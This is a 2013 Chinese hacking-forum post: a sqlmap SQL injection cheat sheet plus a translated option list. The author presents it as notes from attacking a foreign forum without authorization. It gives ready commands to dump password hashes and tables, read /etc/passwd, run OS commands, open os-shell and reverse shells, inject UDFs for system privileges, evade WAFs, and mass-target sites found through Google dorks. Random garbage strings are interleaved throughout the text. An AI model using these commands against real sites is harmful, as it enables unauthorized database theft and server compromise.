中国网络渗透测试联盟
标题:
sqlmap注入命令的使用方法
[打印本页]
作者:
admin
时间:
2013-4-4 22:26
标题:
sqlmap注入命令的使用方法
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
$ t* F( E& H% N* c2 Z0 O" e" }9 U
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “
http://www.xxoo.com/news?id=1
″ –current-db #获取当前数 据库名称
# h6 x& O4 b1 W$ b1 Z1 D
sqlmap -u “
http://www.xxoo.com/news?id=1
″ –tables -D “db_name”#列 表名
- Z* v0 }1 u7 O. h. {
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
+ Z4 d% o; R4 d
" z3 t9 X' d- X0 w5 W
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
: J, U3 V2 n0 Z4 q; G
0 #获取字段内容
: p% _: i* q" o* q2 h4 i6 k
9 \& w+ U' \; O& v* f E
******************信息获取******************
7 i( t# w( ? k* U5 \
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
2 q( F# d( `/ j' l; w
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
" E5 u3 |& F" `% |3 U0 L0 E" r
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
( h3 V4 s1 Q' y1 e; O. G3 r- B# M
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
: Z% v4 m H+ R+ W6 X. ]
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
6 m6 ^! Y. w$ r8 R& e2 B0 J; |# ~% f
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”
. L1 R7 }/ W' O) l4 v3 Y
–start 1 –stop 20 #列出指定字段,列出20 条
( c2 Q) u0 y% g# k
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
+ S; ^0 b( ~' h. ], }
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
- d$ D9 U- [, h5 }. g
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
, e, n/ \6 B2 e7 t- e
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
/ `7 M0 K% S$ }; @; z- {
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
o- ?: l7 u Y" m: |3 Z- V
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
# m3 E& D! z; [
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
, Y( w$ g/ c9 D/ y- q
sqlmap -u “http://url/news?id=1″-b #获取banner信息
. }7 e z8 S. Y' w) i
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
8 U+ f: a. B1 U, N
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
2 D4 |7 M6 m1 q/ T5 u. m
sqlmap -u “http://url/news?id=1″ –proxy“
http://127.0.0.1:8118
” #代理注 入
# h t: o" I$ `! |* @2 j9 E; s
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
6 b6 T) t( M6 n7 I" }9 x3 l7 c! R+ L
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
8 K' W7 {: H, |( H \* [9 |8 `
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
* _( L4 l& {" Z( t h9 \3 ?
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
2 Y+ D) F9 j6 y4 @% q
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
; W2 J3 k4 K7 \% U) o3 t! j. l
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
# {5 j/ A9 Y+ t- T6 B3 v, g
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
+ S+ k& Z4 D/ d& T! B, ]8 |
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
( q, S/ D" e- c
***********高级用法*************
3 i0 y8 P5 Y# ` j( h; C/ ^
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
T+ c0 Z$ ?( i2 P* j, U
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
) L* a0 G+ R' [ ?9 ]7 e
–technique 测试指定注入类型\使用的技术
; x6 s: h) N5 {
不加参数默认测试所有注入技术
+ d: ?; {! t: G. p$ ~7 {1 O5 t
• B: 基于布尔的SQL 盲注
4 W; u! A- N; b
• E: 基于显错sql 注入
K) q: @; \, G
• U: 基于UNION 注入
& t- V4 S3 v) n X4 q9 W
• S: 叠层sql 注入
* D% p, s7 p* K# I( f
• T: 基于时间盲注
3 i" y! o# K" R
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
( C8 h7 ^% G- b7 b
–tamper 插件所在目录
( [+ E- {! S4 Q1 A* v* Z. c
\sqlmap-dev\tamper
! m# W' H5 a/ L+ ?+ Y0 _; S
sqlmap -u “http://
www.2cto.com
/news?id=1″ –smart –level 3 –users # smart 智 能
0 U0 b5 O& V% p" U$ u2 L
level 执行测试等级 攻击实例:
2 `; q1 u2 z( m5 B7 X7 B
Sqlmap -u “http://url/news?id=1&Submit=Submit”
( ]) \0 N) g% Z: F7 P+ p T
–cookie=”PHPSESSID=41aa833e6d0d
! b; L' w8 e- g& O$ h* ]/ R
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
) o" a. l9 H2 a0 T5 H/ l
–password
* w7 L2 u$ @5 N. g
参考文档:
http://sqlmap.sourceforge.net/doc/README.html
6 |6 k$ u3 w3 t$ c
***********安装最新版本*************
+ [+ y0 B5 S) Z/ s
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
# n" }$ u7 Q# f3 ~8 z6 V& C: [
sudo svn checkout
https://svn.sqlmap.org/sqlmap/trunk/sqlmap
sqlmap-dev
0 F& |/ _; q# \9 P4 n! p* j; A
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
9 v3 x' J/ |& k* i# F! j, u# u
sudo vim /home/当前用户/.bashrc
+ M! [9 q" ^1 i+ l4 w
#任意位置加上:
8 W6 r+ s' o$ \5 F2 Q
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
0 V: e, j" r1 L# h8 q: ?
如果想对所有用户有效 可设置全局 编辑下面的文件
6 O' I4 z# d" k; S' X1 g( d& m+ _7 {, F
vim /etc/profile
3 O: ]( K' n1 z4 B/ {8 r4 B
同样加上:
& P. }7 E3 }" E( L. w# `8 k
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
- h& i, [/ j9 f7 w ^9 q7 g! c3 @
******************windows 7 (x64) sqlmap install (SVN)************
7 B( E8 J7 ^3 V4 c' p
http://www.python.org/getit/
安装python
$ D2 X6 f6 q+ s# K, q
http://www.sliksvn.com/en/download
安装windows svn client
6 g8 @) ~+ N' L+ q! ]( M8 _
svn checkout
https://svn.sqlmap.org/sqlmap/trunk/sqlmap
sqlmap-dev
: C" G- ?$ I7 Y. v7 E: n! C- H/ y8 E
安装sqlmap
) x" s, x# B1 n/ Y
*修改环境变量
5 \/ u( T* k; }. K3 ^: L# {0 N
–version 显示程序的版本号并退出
" l& Y, O: k8 V. g
-h, –help 显示此帮助消息并退出
) o- O& R: C# \, M: _& z# r
-v VERBOSE 详细级别:0-6(默认为1)
6 w; R# ?6 b3 Q
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
! g5 e9 x" s- b* ~5 M& H- q
-d DIRECT 直接连接到数据库。
! q0 `3 B6 G3 D: B! J
-u URL, –url=URL 目标URL。
% p& n# P# G; m/ C* o! g
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
2 v* o8 H5 R+ O( P1 g
-r REQUESTFILE 从一个文件中载入HTTP 请求。
' J& ~+ T( r% X* i- O
-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
2 ?. d0 j' F8 `7 [
-c CONFIGFILE 从INI 配置文件中加载选项。
7 j; _- m( m! w! p
Request(请求)::
6 |7 c- w: \3 t9 Q( i$ B# w$ I/ n {
这些选项可以用来指定如何连接到目标URL。
- y% c* `) m" g( O2 f6 B
–data=DATA 通过POST 发送的数据字符串
5 o+ q% S% c9 \; x$ g i2 ?* R
–cookie=COOKIE HTTP Cookie 头
. t& t C. Q7 z6 Z
–cookie-urlencode URL 编码生成的cookie 注入
0 e' `* J; a$ N& _( Y) z- c# r
–drop-set-cookie 忽略响应的Set –Cookie 头信息
+ K, |" [+ D, P" e X" J Q% s
T! h& ~0 c1 G. C9 U) y4 S/ A
–user-agent=AGENT 指定 HTTP User –Agent 头
8 \; f4 S4 v( E2 C1 r' V: L
–random-agent 使用随机选定的HTTP User –Agent 头
+ P0 b# N$ l9 M! [+ S! n
–referer=REFERER 指定 HTTP Referer 头
6 t* m2 ?; T" l6 d
–headers=HEADERS 换行分开,加入其他的HTTP 头
# X4 [; q' z) \. K0 ^- p' X
–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
" I5 h9 F9 A5 D/ W- s
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
- N4 Q4 l* h& S8 w! r* F
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
* Q) T4 ~+ Z3 b m! k
–proxy=PROXY 使用HTTP 代理连接到目标URL
5 n$ `: L# N5 u0 ^1 k6 I. n
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
6 Z( Z6 {. [, h2 \) m
–ignore-proxy 忽略系统默认的HTTP 代理
~6 n u+ g1 e' K& K+ Z8 l
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
( F; c- N6 ], w3 G+ j4 D- h: ]! A
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
" S( z; U0 z- |5 b+ W
–retries=RETRIES 连接超时后重新连接的时间(默认3)
' _# q( o+ n% a: t3 z9 ~
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
; `& R/ @3 a+ P1 S8 T8 ~) Z
–safe-url=SAFURL 在测试过程中经常访问的url 地址
6 \5 [9 r3 G/ k7 A6 f, w
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
( g$ e2 G4 a+ o% A, J$ Q. V8 a5 X
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
0 r5 u% \) X4 b/ o7 [+ ^1 e9 u
-o 开启所有优化开关
, {1 k/ P- @% E2 L$ b0 ?0 ^% A) w0 v
–predict-output 预测常见的查询输出
+ W- P, e V- I8 t
–keep-alive 使用持久的HTTP(S)连接
2 Z6 ?8 A6 t: h( L; _' g3 S
–null-connection 从没有实际的HTTP 响应体中检索页面长度
9 g3 h4 U h d7 Q
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
0 i! ]% a/ M5 e/ ^
Injection(注入):
& @0 b: D' v h7 l& y
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
( ~. m9 ?' [$ j7 L y" I
-p TESTPARAMETER 可测试的参数(S)
9 Y" n7 [& x# J: ^% d- q
–dbms=DBMS 强制后端的DBMS 为此值
& u' L( ^: }, n! g8 J* x5 |9 Q: M
–os=OS 强制后端的DBMS 操作系统为这个值
' s6 z Q4 S8 D: X! ]
–prefix=PREFIX 注入payload 字符串前缀
# d X4 E1 o7 R" t( U$ q
–suffix=SUFFIX 注入 payload 字符串后缀
- m! P( K2 o& A( I2 b
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
: b ?6 H. H2 i
Detection(检测):
$ m: p2 V/ c; e+ m* w
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
6 D: |# }. W: j
–level=LEVEL 执行测试的等级(1-5,默认为1)
/ R" ]$ M* ~, D3 J' k; |6 [' F
–risk=RISK 执行测试的风险(0-3,默认为1)
1 R: f" q7 `* c9 i8 O- m
–string=STRING 查询时有效时在页面匹配字符串
- \1 I. e6 t/ ?! b8 t4 |
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
^( v2 Q4 t5 |2 F& c
–text-only 仅基于在文本内容比较网页
1 @7 Y, c3 Y" T
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
[ P' X! f) c
–technique=TECH SQL 注入技术测试(默认BEUST)
- |5 L1 \# Y2 i
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
0 f4 o: o/ f! g
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
8 a3 O) H5 I- |: r
–union-char=UCHAR 用于暴力猜解列数的字符
3 |' m. z4 Q# c, |0 t5 a* I# X- Q
Fingerprint(指纹):
- `0 K3 j& M9 M
-f, –fingerprint 执行检查广泛的DBMS 版本指纹
% J6 \+ ?' M$ l/ O3 ?( l
Enumeration(枚举):
% n% }1 v. n8 P6 y3 v& C
3 L: H6 c8 {9 a. O7 K! ?* D2 N
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
+ V; i; J7 v# h/ W! z
-b, –banner 检索数据库管理系统的标识
; s+ c- `* d$ }' `4 A- l9 Q0 D# L- f
–current-user 检索数据库管理系统当前用户
" I7 E7 W" v# }9 A$ n; m
–current-db 检索数据库管理系统当前数据库
5 I. a+ q b/ K
–is-dba 检测DBMS 当前用户是否DBA
6 K0 ?$ c& @; {/ |3 X/ E
–users 枚举数据库管理系统用户
$ i& g+ z# A. D7 |! a( i2 ]* @
–passwords 枚举数据库管理系统用户密码哈希
/ B+ z9 g# H0 k+ J# z
–privileges 枚举数据库管理系统用户的权限
% _4 k6 d7 I! h0 O- ~) o' N5 \
–roles 枚举数据库管理系统用户的角色
! w3 C0 ^- [5 _+ o0 ?" M) C
–dbs 枚举数据库管理系统数据库
6 ?% a1 \3 O3 y3 q {) D: z& y9 \
–tables 枚举的DBMS 数据库中的表
7 D. p" E0 q4 y# D: U: n. d5 }
–columns 枚举DBMS 数据库表列
$ E$ n- W+ r6 \6 N: m1 ~
–dump 转储数据库管理系统的数据库中的表项
. k& T7 h. t) n2 `
–dump-all 转储所有的DBMS 数据库表中的条目
: r) j" J4 W3 n6 z) K2 T3 Q
–search 搜索列(S),表(S)和/或数据库名称(S)
# V' A5 D- L8 x6 F* u, c# j% F
-D DB 要进行枚举的数据库名
, V# m8 h4 t+ U* x
-T TBL 要进行枚举的数据库表
+ p! A" ~) j0 }/ o" l. r8 C8 n
-C COL 要进行枚举的数据库列
$ J4 F7 F- k& l4 M2 c
-U USER 用来进行枚举的数据库用户
$ O& f8 X9 X6 j5 U
–exclude-sysdbs 枚举表时排除系统数据库
+ c3 r4 _1 z6 }5 y# y, h! X8 _
–start=LIMITSTART 第一个查询输出进入检索
1 ~- t+ D5 H0 q! \& E+ _
–stop=LIMITSTOP 最后查询的输出进入检索
" \3 y; {& \3 t. c9 V' e8 `
–first=FIRSTCHAR 第一个查询输出字的字符检索
8 _7 d' R, g8 m4 Y0 O
–last=LASTCHAR 最后查询的输出字字符检索
/ o) z6 T% L$ s5 Y: t; D* x
–sql-query=QUERY 要执行的SQL 语句
+ R) |& U# Y4 A7 T# ?
–sql-shell 提示交互式SQL 的shell
! G5 ]* J. {) |( J
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
1 B& [& p" T( c& o
–common-tables 检查存在共同表
( R7 e0 i- [( V2 d: K" j
–common-columns 检查存在共同列
; y2 p% ?& }# ^6 _5 P* Q# M" s4 k
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
2 h* ^. g2 r7 i6 T6 l
–udf-inject 注入用户自定义函数
/ |- M! C3 u1 e
–shared-lib=SHLIB 共享库的本地路径
1 T& V2 G* K' n" H$ U8 G& u
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
1 F: d* w: p* _+ y+ n8 ~: p, [/ ?
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
5 p( k. q/ L8 f# g M2 t1 J
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
/ w( u' \, V7 _
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
. L ~. s7 ~: J
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
9 N; [( {7 t- F B
–os-cmd=OSCMD 执行操作系统命令
8 f# ]( H2 V+ b
–os-shell 交互式的操作系统的shell
& |/ r8 F2 P5 T9 V/ g( s
–os-pwn 获取一个OOB shell,meterpreter 或VNC
* j" v+ e7 \( Q
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC
- k" ?8 W) |, Y
–os-bof 存储过程缓冲区溢出利用
' k7 a; e' {8 V9 a Z5 A: f
–priv-esc 数据库进程用户权限提升
& P( l# d; C0 N7 j/ g _
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
! e" r' S: }; {8 l$ q9 o
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
, H' x( x1 i. F! U( y( N
) p+ x: k$ q) r9 ^5 R; q
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
/ ]- V7 S, w' l
–reg-read 读一个Windows 注册表项值
$ u4 G4 c: P6 J8 i
–reg-add 写一个Windows 注册表项值数据
1 ]+ L/ Z2 X d/ Q: t/ W- z
–reg-del 删除Windows 注册表键值
; C- W4 ^# Z" e: t3 @9 X. F' T
–reg-key=REGKEY Windows 注册表键
% D2 R1 y9 C$ ]# j5 M V7 V
–reg-value=REGVAL Windows 注册表项值
! x9 ], A0 i. [4 ^& @9 S$ K
–reg-data=REGDATA Windows 注册表键值数据
. Z1 }; M p4 `+ j" ]8 k
–reg-type=REGTYPE Windows 注册表项值类型
. t2 ?3 u& a) c
General(一般): 这些选项可以用来设置一些一般的工作参数。
- }: P' d* B8 c6 f/ y) Y3 C
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
& } c( {) t; b% G N: p; i# A
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
' t x! f+ }' E' Y$ @
–flush-session 刷新当前目标的会话文件
- T8 X& U: e% O$ t5 `1 p, S0 o; B
–fresh-queries 忽略在会话文件中存储的查询结果
6 A( E/ I) e. E8 p
–eta 显示每个输出的预计到达时间
! s2 R8 g# U1 m
–update 更新SqlMap
' K: }1 h" Q3 z2 Y5 a
–save file 保存选项到INI 配置文件
5 E$ c1 m. l( M3 n% t" ~8 v
–batch 从不询问用户输入,使用所有默认配置。
, ^ X! ]! U0 C& a
Miscellaneous(杂项):
4 Z7 T" N* D: v& s! ?
–beep 发现SQL 注入时提醒
X; Y, |" e V) t
–check-payload IDS 对注入payloads 的检测测试
# f L' g! p3 I1 Z5 u# Z# _0 t
–cleanup SqlMap 具体的UDF 和表清理DBMS
( p+ o+ C. Q1 E& n: m5 x' ]
–forms 对目标URL 的解析和测试形式
# C2 Y. j" R' s
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
& d; V" g& H1 z5 q; J9 M6 Q7 o; R
–page-rank Google dork 结果显示网页排名(PR)
. K! w1 _3 W% c6 t/ {" f
–parse-errors 从响应页面解析数据库管理系统的错误消息
( O9 b2 r' J" P+ U7 ]( y
–replicate 复制转储的数据到一个sqlite3 数据库
3 G! Q9 L& S% ^5 x K$ P
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
- \/ E6 w0 ~/ P8 ^( n, k2 V% i' B
–wizard 给初级用户的简单向导界面
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2